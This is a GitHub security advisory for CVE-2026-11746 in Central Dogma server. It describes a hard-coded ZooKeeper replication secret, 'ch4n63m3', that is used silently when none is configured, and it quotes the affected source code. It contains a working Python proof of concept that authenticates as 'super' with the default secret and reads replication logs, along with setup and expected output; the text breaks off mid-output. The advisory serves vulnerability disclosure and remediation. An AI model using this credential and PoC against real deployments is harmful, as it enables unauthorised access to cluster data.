GitHub Advisoryadvisory · Maven

GHSA-2j95-gqxf-v3vg Central Dogma: Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover

CRITICAL Published 2026-09-11 Modified 2026-09-11 Official page ↗
Aliases
CVE-2026-11746
Ecosystem
Maven
Packages
com.linecorp.centraldogma:centraldogma-server
Severity
Critical
CVSS vector
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Weaknesses
CWE-798
Reviewed
2026-09-11

Affected packages

• Maven com.linecorp.centraldogma:centraldogma-server: < 0.84.0 → fixed in 0.84.0

Description

Vulnerability `ZooKeeperReplicationConfig.secret()` silently substitutes the hard-coded constant `"ch4n63m3"` (leetspeak for "change me") whenever the operator omits `replication.secret`. The same secret is wired into both the client-facing SASL context and the quorum/learner SASL contexts of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds. Three Reinforcing Defects 1. OSS-public credential — `DEFAULT_SECRET` is in `line/centraldogma` source. 2. Silent fallback — `firstNonNull(convertValue(...), DEFAULT_SECRET)` substitutes the default with no log, no warning, no startup banner. The only sanity check `checkArgument(!secret().isEmpty(), ...)` passes because the getter substitutes the literal before the emptiness check runs. 3. Dual-purpose secret — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces. Architecture Context (Important) Central Dogma does NOT connect to an external ZooKeeper ensemble. Each replica embeds a `QuorumPeer` (`EmbeddedZooKeeper extends QuorumPeer`) inside its own JVM. The Central Dogma cluster IS the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself. Applicability | `replication.method` | ZK Started? | Applicable? | |---|---|---| | `NONE` (standalone, dev default) | No | NOT applicable | | `ZOOKEEPER` (HA production) | Yes, embedded on every replica | Fully applicable — canonical production configuration | --- Evidence File: `server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java` Branch: `main` @ commit `d64a5151` Line 53 — the constant: ```java private static final String DEFAULT_SECRET = "ch4n63m3"; ``` Lines 210–215 — the silent fallback: ```java /** • Returns the secret string used for authenticating the ZooKeeper peers. */ public String secret() { return firstNonNull(convertValue(secret, "replication.secret"), DEFAULT_SECRET); } ``` --- File: `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java` Lines 586–607 — JAAS wiring (same secret on both surfaces): ```java final String escapedSecret = jaasValueEscaper.escape(cfg.secret()); ImmutableList.of("Server", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> { buf.append(name).append(" {").append(newline); buf.append(DigestLoginModule.class.getName()).append(" required").append(newline); buf.append("user_super=\"").append(escapedSecret).append("\";").append(newline); buf.append("};").append(newline); }); ImmutableList.of("Client", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> { buf.append(name).append(" {").append(newline); buf.append(DigestLoginModule.class.getName()).append(" required").append(newline); buf.append("username=\"super\"").append(newline); buf.append("password=\"").append(escapedSecret).append("\";").append(newline); buf.append("};").append(newline); }); ``` --- File: `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java` Line 44 — proves CD embeds the ZK server: ```java final class EmbeddedZooKeeper extends QuorumPeer { ``` Lines 213–220 — client port binding (loopback only): ```java private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException { final InetSocketAddress bindAddr = zkCfg.getClientPortAddress(); final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory(); // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others. cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0), zkCfg.getMaxClientCnxns()); return cnxnFactory; } ``` > Quorum/election ports are NOT loopback-bound — they bind to `replication.servers[].host` as configured, exposed on the inter-replica network. --- PoC Two attack surfaces, two scenarios. Surface A (client port, same-host) is implemented as a working read-only PoC. Surface B (quorum-port peer impersonation) is documented but intentionally not weaponized. Surface A — Same-Host Client Port (Loopback) PoC Python + kazoo + pure-sasl. Authenticates as `super` over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to `127.0.0.1`, read-only, prints first 5 entries. ```python !/usr/bin/env python3 """ C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only). Demonstrates that a Central Dogma instance launched with a ZooKeeper-replicated configuration but without `replication.secret` set exposes its embedded ZooKeeper to anyone with local-host access, using the well-known credential `super / ch4n63m3`. SAFETY: • Hardcoded to 127.0.0.1. Refuses any other target. • Read-only. No writes are issued. No nodes are deleted. • Limits how much data it prints (first MAX_LOGS entries). """ from __future__ import annotations import sys from kazoo.client import KazooClient from kazoo.exceptions import NoNodeError HOST = "127.0.0.1" DEFAULT_PORT = 2381 DEFAULT_USER = "super" DEFAULT_SECRET = "ch4n63m3" # ZooKeeperReplicationConfig.DEFAULT_SECRET MAX_LOGS = 5 def main() -> int: port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT if HOST != "127.0.0.1": print("Refusing to run against non-loopback host.", file=sys.stderr) return 2 zk = KazooClient( hosts=f"{HOST}:{port}", sasl_options={ "mechanism": "DIGEST-MD5", "username": DEFAULT_USER, "password": DEFAULT_SECRET, }, read_only=True, timeout=5.0, ) try: zk.start(timeout=5) except Exception as exc: print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr) return 1 try: try: log_children = zk.get_children("/dogma/logs") except NoNodeError: print("[i] /dogma/logs not present -- is replication actually enabled?") log_children = [] print(f"[+] Authenticated as '{DEFAULT_USER}' with default secret.") print(f"[+] /dogma/logs has {len(log_children)} entries.") for child in sorted(log_children)[:MAX_LOGS]: path = f"/dogma/logs/{child}" try: data, stat = zk.get(path) except NoNodeError: continue preview = data[:120].decode("utf-8", errors="replace") if data else "" print(f" - {path} ({stat.dataLength} bytes) preview={preview!r}") try: block_children = zk.get_children("/dogma/log_blocks") print(f"[+] /dogma/log_blocks has {len(block_children)} entries.") except NoNodeError: pass print( f"[!] ZK cluster compromised: read {len(log_children)} log entries " "with default credentials." ) return 0 finally: zk.stop() zk.close() if __name__ == "__main__": raise SystemExit(main()) ``` Dependencies (`requirements.txt`): `kazoo`, `pure-sasl` Setup: edit `dist/src/conf/dogma.json` to enable replication WITHOUT setting secret: ```json { "replication": { "method": "ZOOKEEPER", "serverId": 1, "servers": { "1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 } } } } ``` > Note: `replication.secret` is INTENTIONALLY omitted. Launch with `./gradlew :dist:startup`. Run: ```bash python3 zk_takeover.py 2381 ``` Expected output (VULNERABLE): ``` [+] Authenticated as 'super' with default secret. [+] /dogma/logs has 14 entries. • /dogma/logs/0000000001 (412 bytes) preview="{"size":..." • /dogma/logs/0000000002 (508 bytes) preview="{"size":..." ... […

Related

Alias · CVE (1)

  • CVE-2026-11746 A vulnerability has been identified in centraldogma-server versions prior to 0.84.0, where enabling ZooKeeper replication without setting… vulnerability

Weakness · CWE (1)

  • CWE-798 Use of Hard-coded Credentials weakness

References